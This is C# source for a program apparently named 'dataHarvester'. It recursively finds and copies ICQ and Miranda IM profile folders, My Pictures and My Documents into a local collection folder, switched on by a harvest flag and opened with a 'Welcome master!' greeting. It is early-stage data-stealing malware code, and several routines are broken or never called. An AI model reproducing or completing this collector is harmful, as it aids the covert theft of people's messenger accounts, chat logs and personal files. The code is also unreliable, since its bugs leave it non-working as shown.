using System;
using System.IO;
using System.Collections.Generic;
using System.Text;

namespace dataHarvester
{
	class MainClass
	{
		//Recursive folder/file scan
		private static void CopyDirectoryWithIncludedFiles(string dirCopySource, string dirCopyTarget)
{
    // alle Unterverzeichnisse des aktuellen Verzeichnisses ermitteln
    string[] subDirectories = Directory.GetDirectories(dirCopySource);

    // Zielpfad erzeugen
    StringBuilder newTargetPath = new StringBuilder();
    {
        newTargetPath.Append(dirCopyTarget);
        newTargetPath.Append(dirCopySource.Substring(dirCopySource.LastIndexOf(@"\")));
    }

    // wenn aktueller Ordner nicht existiert -> ersstellen
    if(!Directory.Exists(newTargetPath.ToString()))
        Directory.CreateDirectory(newTargetPath.ToString());


    // Unterverzeichnise durchlaufen und Funktion mit dazu gehörigen Zielpfad erneut aufrufen (Rekursion)
    foreach (string subDirectory in subDirectories)
    {
        string newDirectoryPath = subDirectory;

        // wenn ''/'' an letzter Stelle dann entfernen
        if (newDirectoryPath.LastIndexOf(@"\") == (newDirectoryPath.Length - 1))
            newDirectoryPath = newDirectoryPath.Substring(0, newDirectoryPath.Length - 1);

        // rekursiever Aufruf
        CopyDirectoryWithIncludedFiles(newDirectoryPath, newTargetPath.ToString());
    }


    // alle enthaltenden Dateien des aktuellen Verzeichnisses ermitteln
    string[] fileNames = Directory.GetFiles(dirCopySource);
    foreach (string fileSource in fileNames)
    {
        // Zielpfad + Dateiname
        StringBuilder fileTarget = new StringBuilder();
        {
            fileTarget.Append(newTargetPath);
            fileTarget.Append(fileSource.Substring(fileSource.LastIndexOf(@"\")));
        }

        // Datei kopieren, wenn schon vorhanden überschreiben
        File.Copy(fileSource, fileTarget.ToString(), true);
    }
}
		//get Directory Size		
		public static long GetDirectorySize(string path, bool includeSubDirectories)
        {
            long size = 0;

            // get sub directories (recursive)
            if (includeSubDirectories)
            {
                try
                {
                    string[] subDirectories = Directory.GetDirectories(path);
                    foreach (string subDirectory in subDirectories)
                        size += GetDirectorySize(subDirectory, includeSubDirectories);
                }
                catch { /* what should we do??? */ }
            }

            // get files and add size
            try
            {
                string[] fileNames = Directory.GetFiles(path);
                foreach (string fileName in fileNames)
                {
                    FileInfo fileInfo = new FileInfo(fileName);
                    size += fileInfo.Length;
                }
            }
            catch { /* what should we do??? */ }

            return size;
        }
		//Indication if we still collection all found stuff
		private static bool HarvestEnabled = false;
		
		private static List<string> GetFilesRecursive(string b)
	    {
		// 1.
		// Store results in the file results list.
		List<string> result = new List<string>();
	
		// 2.
		// Store a stack of our directories.
		Stack<string> stack = new Stack<string>();
	
		// 3.
		// Add initial directory.
		stack.Push(b);
	
		// 4.
		// Continue while there are directories to process
		while (stack.Count > 0)
		{
		    // A.
		    // Get top directory
		    string dir = stack.Pop();
	
		    try
		    {
			// B
			// Add all files at this directory to the result List.
			result.AddRange(Directory.GetFiles(dir, "*.*"));
	
			// C
			// Add all directories at this directory.
			foreach (string dn in Directory.GetDirectories(dir))
			{
			    stack.Push(dn);
			}
		    }
		    catch
		    {
			// D
			// Could not open the directory
		    }
		}
		return result;
	    }
		
		private static string AppData	=	Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
		private static string MyDocss	=	Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
		private static string currDir	= 	Environment.CurrentDirectory+"/col";
		private static string Picz		=	Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);
		private static string[] LDrives	=	Environment.GetLogicalDrives();
		
		
		#region ICQ
		private static string ICQPath(string basedir)
		{			
			return basedir + "/ICQ";
		}		
		private static string[] IcqUserFiles = null;		
		private static void GetIcqUsers(string icqPath, List<string> FileList)
		{
			try 
			{
				if(Directory.Exists(icqPath))
				{
					FileList = GetFilesRecursive(icqPath);
					
					for(int i = 0; i < FileList.Count; i++)
					{
						Console.WriteLine(FileList[i]);
						//Copyfiles
						if(HarvestEnabled)
							CopyDirectoryWithIncludedFiles(icqPath,currDir+"//icq");
						
						//Fill the list with all folders/files/subfolders
						IcqUserFiles[i] = FileList[i];
					}
					Console.WriteLine("icqDir size: {0}",GetDirectorySize(icqPath,true));
				}				
			} 
			
			catch ( DirectoryNotFoundException dfino) 
			{
				//ICQ Not found...
				Console.WriteLine(dfino.Message);
			}
			
					
		}
		#endregion 
		
		#region Miranda
		private static string MirandaPath = AppData+@"\Miranda IM\";
		private static void GetMirandaFiles(string mpath, List<string> filelist)
		{
			try 
			{
				if(Directory.Exists(MirandaPath))
				{
					filelist = GetFilesRecursive(mpath);
					//Copy files
					if(HarvestEnabled)
						CopyDirectoryWithIncludedFiles(mpath,currDir+"/miranda");
					
					Console.WriteLine("Miranda detected...");
					Console.WriteLine("MirandaDir size: {0}",GetDirectorySize(mpath,true));
				}
			}
			catch(DirectoryNotFoundException dinfo)
			{
				//Miranda not found
				Console.WriteLine(dinfo.Message);	
			}
		}		
		#endregion
		
		#region MyPictures etc
		private static long mpSize = GetDirectorySize(Picz,true);
		private static void GetMyPicz(string path, List<string> fileList)
		{
			try
			{
				if(Directory.Exists(path))
				{
					fileList = GetFilesRecursive(path);
					
					
					Console.WriteLine(fileList);
					
					//Copy complete Mypictures and its subfolder + contents
					if(HarvestEnabled)
						CopyDirectoryWithIncludedFiles(path,currDir+"/myPicz");
										
					
					Console.WriteLine("MyPictures size: {0}",mpSize);
				}
			}
			catch (DirectoryNotFoundException dinfo)
			{
				Console.WriteLine(dinfo.Message);
			}
		}
		#endregion
		
		#region MyDoc etc
		private static long mdSize = GetDirectorySize(Picz,true);
		private static void GetMyDocz(string path, List<string> fileList)
		{
			try
			{
				if(Directory.Exists(path))
				{
					fileList = GetFilesRecursive(path);										
					Console.WriteLine(fileList);
					
					//Copy complete Mypictures and its subfolder + contents
					if(HarvestEnabled)
						CopyDirectoryWithIncludedFiles(path,currDir+"/myDocz");
					
					//Transfer fileList into MyPictures array										
					Console.WriteLine("MyDocs size: {0}",mdSize);
				}
			}
			catch (DirectoryNotFoundException dinfo)
			{
				Console.WriteLine(dinfo.Message);
			}
		}
		#endregion		
		
		public static void Main (string[] args)
		{
			if(!Directory.Exists(currDir))
				Directory.CreateDirectory(Environment.CurrentDirectory+"/col");		
			
			Console.WriteLine ("Welcome master!");
			
			if(args[0] == "1")			
				HarvestEnabled = true;
			if(args[0] == "0")
				HarvestEnabled = false;			
						
		}
	}
}
